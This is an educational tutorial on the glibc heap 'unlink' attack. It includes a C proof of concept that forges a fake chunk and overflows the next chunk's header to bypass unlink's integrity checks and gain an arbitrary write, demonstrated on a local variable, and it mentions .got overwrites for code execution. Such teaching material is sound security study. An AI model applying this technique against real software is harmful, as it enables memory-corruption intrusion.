Unlink Exploit
This particular attack was once quite common. However, two security checks were added in the unlink MACRO ("corrupted size vs. prev_size" and "corrupted double-linked list") which reduced the impact of the attack to some extent. Nevertheless, it is worthwhile to spend some time on it. It exploits the pointer manipulation done in the unlink MACRO while removing a chunk from a bin.
Consider this sample code (download the complete version here):
1
struct chunk_structure {
2
size_t prev_size;
3
size_t size;
4
struct chunk_structure *fd;
5
struct chunk_structure *bk;
6
char buf[10]; // padding
7
};
8
9
unsigned long long *chunk1, *chunk2;
10
struct chunk_structure *fake_chunk, *chunk2_hdr;
11
char data[20];
12
13
// First grab two chunks (non fast)
14
chunk1 = malloc(0x80); // Points to 0xa0e010
15
chunk2 = malloc(0x80); // Points to 0xa0e0a0
16
17
// Assuming attacker has control over chunk1's contents
18
// Overflow the heap, override chunk2's header
19
20
// First forge a fake chunk starting at chunk1
21
// Need to setup fd and bk pointers to pass the unlink security check
22
fake_chunk = (struct chunk_structure *)chunk1;
23
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
24
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
25
26
// Next modify the header of chunk2 to pass all security checks
27
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
28
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
29
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
30
31
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
32
// This results in chunk1 pointer pointing to chunk1 - 3
33
// i.e. chunk1[3] now contains chunk1 itself.
34
// We then make chunk1 point to some victim's data
35
free(chunk2);
36
37
chunk1[3] = (unsigned long long)data;
38
39
strcpy(data, "Victim's data");
40
41
// Overwrite victim's data using chunk1
42
chunk1[0] = 0x002164656b636168LL; // hex for "hacked!"
43
44
printf("%s\n", data); // Prints "hacked!"
Copied!
This might look a little complicated compared to other attacks. First, we malloc two chunks chunk1 and chunk2 with size 0x80 to ensure that they fall in the smallbin range. Next, we assume that the attacker somehow has unbounded control over the contents of chunk1 (this can be using any 'unsafe' function such as strcpy on user input). Notice that both the chunks will lie in the memory side by side. The code shown above uses custom struct chunk_structure for clarity purposes only. In an attack scenario, the attacker shall simply send bytes to fill in chunk1 that would have the same effect as above.
A new fake chunk is created in the 'data' part of chunk1. The fd and bk pointers are adjusted to pass the "corrupted double-linked list" security check. The contents of the attacker are overflowed into chunk2's header that sets appropriate prev_size and prev_in_use bit. This ensures that whenever chunk2 is freed, the fake_chunk will be detected as 'freed' and will be unlinked'. The following diagrams shows the current state of the various memory regions:
Unlink before call to free
Carefully, try to understand how P->fd->bk == P and P->bk->fd == P checks are passed. This shall give an intuition regarding how to adjust the fd and bk pointers of the fake chunk.
As soon as chunk2 is freed, it is handled as a small bin. Recall that previous and next chunks (by memory) are checked whether they are 'free' or not. If any chunk is detected as 'free', it is unlinked for the purpose of merging consecutive free chunks. The unlink MACRO executes the following two instructions that modify pointers:
  1. 1.
    Set P->fd->bk = P->bk.
  2. 2.
    Set P->bk->fd = P->fd.
In this case, both P->fd->bk and P->bk->fd point to the same location so only the second update is noticed. The following diagram shows the effects of the second update just after chunk2 is freed.
Unlink after call to free
Now, we have chunk1 pointing to 3 addresses (16-bit) behind itself (&chunk1 - 3). Hence, chunk1[3] is in fact the chunk1. Changing chunk1[3] is like changing chunk1. Notice that an attacker has a greater chance of getting an opportunity to update data at location chunk1 (chunk1[3] here) instead of chunk1 itself. This completes the attack. In this example, chunk1 was made to point to a 'data' variable and changes through chunk1 were reflected on that variable.
Earlier, with the absence of security checks in unlink, the two write instructions in the unlink MACRO were used to achieve arbitrary writes. By overwriting .got sections, this led to arbitrary code execution.
Last modified 1yr ago
Copy link